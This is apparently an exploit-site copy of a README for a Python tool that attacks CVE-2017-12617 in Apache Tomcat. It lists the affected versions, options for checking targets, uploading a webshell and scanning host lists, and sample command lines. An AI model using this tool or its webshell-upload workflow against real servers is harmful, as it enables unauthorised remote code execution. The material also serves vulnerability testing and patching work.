Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat

## https://sploitus.com/exploit?id=62FFF163-A940-5873-82ED-01685A995B7C
# CVE-2017-12617
CVE-2017-12617 critical Remote Code Execution (RCE) vulnerability discovered in Apache Tomcat 


affect systems with HTTP PUTs enabled (via setting the "read-only" initialization parameter of the Default servlet to "false") are affected.

Tomcat versions before 9.0.1 (Beta), 8.5.23, 8.0.47 and 7.0.82 contain a potentially dangerous 
remote code execution (RCE) vulnerability on all operating systems if the default servlet is 
configured with the parameter readonly set to false or the WebDAV servlet is enabled with the 
parameter readonly set to false

# Apache Tomcat  page


./cve-2017-12617.py [options]

options:

-u ,--url [::] check target url if it's vulnerable 
-p,--pwn  [::] generate webshell and upload it
-l,--list [::] hosts list

[+]usage:

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt


Banner
![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/banner.PNG)

![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/1.PNG)
Check target if it's vulneabel 
![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/44.PNG)
 Confirm file was  created 
![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/2.PNG)
 Create Webshell and get shell
![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/3.PNG)
 Scan hosts in txt file
![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/5.PNG)









  [ @intx0x80 ]